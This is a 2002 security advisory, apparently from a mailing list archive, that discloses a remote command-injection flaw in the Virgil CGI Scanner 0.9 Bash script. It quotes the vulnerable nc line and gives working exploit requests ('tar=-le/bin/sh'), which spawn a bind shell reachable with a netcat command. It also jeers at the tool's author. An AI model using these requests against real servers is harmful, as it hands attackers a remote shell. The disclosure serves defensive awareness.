-----BEGIN PGP SIGNED MESSAGE----- - - -------------------------------------------------------------------------- KALIF research group kalifat_private October 21st, 2002 Joschka Fischer - - -------------------------------------------------------------------------- - - Overview Software : Virgil CGI Scanner 0.9 Programmer : Marc Ruef <marc.ruefat_private> Vulnerability : Privilege Escalation Status : Author has been notified Type : remote - - Issue Joschka Fischer discovered a security hole in the CGI vulnerability scanner 'Virgil' by Mark Ruef [1] ! By sending a special crafted request one is able to spawn a remote shell with the privileges of the running CGI script. Depending on the used software this is either the owner of the script (suExec) or the user under which the HTTP daemon is executed (usually nobody). - - Problem Description Virgil CGI Scanner by Mark Ruef is a simple Bash Script which offers an interface to start CGI security audits against foreign hosts. The author states that his software represents the first free online-based CGI scanner and uses a very effective and fast technique to determine vulnerabilities. Mark Ruef - a self-proclaimed security expert - recently received fame by posting different announcements to well-known security mailinglists and by writing a german book called "Hacking Intern" which deals with common security techniques and has been released by a german gossip publisher house [2]. To get the Virgil CGI Scanner look at: http://www.computec.ch/software/webserver/virgil_cgi_scanner/virgil-0.9.tar.gz MD5SUM: fe098b68c0de04cb0200f2db324ab10b For a running version visit: http://scanner.computec.ch/cgi-bin/virgil/virgil.cgi - - Technical Description The following vulnerability is present in Virgil CGI Scanner v. 0.9! BANNER=`echo -e "HEAD / HTTP/1.0\n\n" |nc -w 10 $TARGET $ZIELPORT` Here, both variables are user-supplied: TARGET=`echo $QUERY_STRING | awk 'BEGIN{FS="&"}{print $1}' |sed s/"tar="//` ZIELPORT=`echo $QUERY_STRING | awk 'BEGIN{FS="&"}{print $2}' |sed s/"zielport="// |sed "s/-//g"` Nevertheless there exist a few restrictions, namly: - The $QUERY_STRING was not parsed, i.e. %20 for example was not replaced with ' ' - In $ZIELPORT the dash ('-') is filtered out To test whether the script is vulnerable use the following request and telnet to the given port number (i.e. 31337): /cgi-bin/virgil.cgi?tar=-lp&zielport=31337 Exploitation is very straight forwared as long as nc supports the -e command: '/cgi-bin/virgil.cgi?tar=-le/bin/sh' spawns a remote shell on a port for exactly 10 seconds ("-w 10")! To connect to this shell execute `nc -v TARGET.COM 1030-6000` while constantly requesting the URI mentioned above. - - Workaround / Patch We are currently not aware of any patches, but we suggest you to update your Virgil Vulnerable CGI-Script Database accordingly. *** apache.db.old Sun Oct 23 23:05:05 1983 --- apache.db Sun Oct 23 23:05:05 1985 *************** *** 1,3 **** --- 1,5 ---- + cgi-bin/virgil.cgi?tar=-lp&zielport=31337 + cgi-bin/virgil/virgil.cgi?tar=-lp&zielport=31337 cgi-bin/a1disp3.cgi?/../../../../../../etc/passwd - - References / Greets [1] http://www.computec.ch [2] http://www.amazon.de/exec/obidos/ASIN/381582284X Pengo for elite VMS security Nung at the CCC-Congress, next time i will ask for coffee. -----BEGIN PGP SIGNATURE----- Version: Hush 2.2 (Java) Note: This signature can be verified at https://www.hushtools.com/verify wloEARECABoFAj21nuYTHGthbGlmQGh1c2htYWlsLmNvbQAKCRBfQx1m9p9BTXGvAJwL bceg643rTUH1HXtJFbvmNqAd7gCgsKHGY9J6tFCj/DeB7RYEmrix0q8= =nBCM -----END PGP SIGNATURE----- Get your free encrypted email at https://www.hushmail.com
This archive was generated by hypermail 2b30 : Tue Oct 22 2002 - 13:13:03 PDT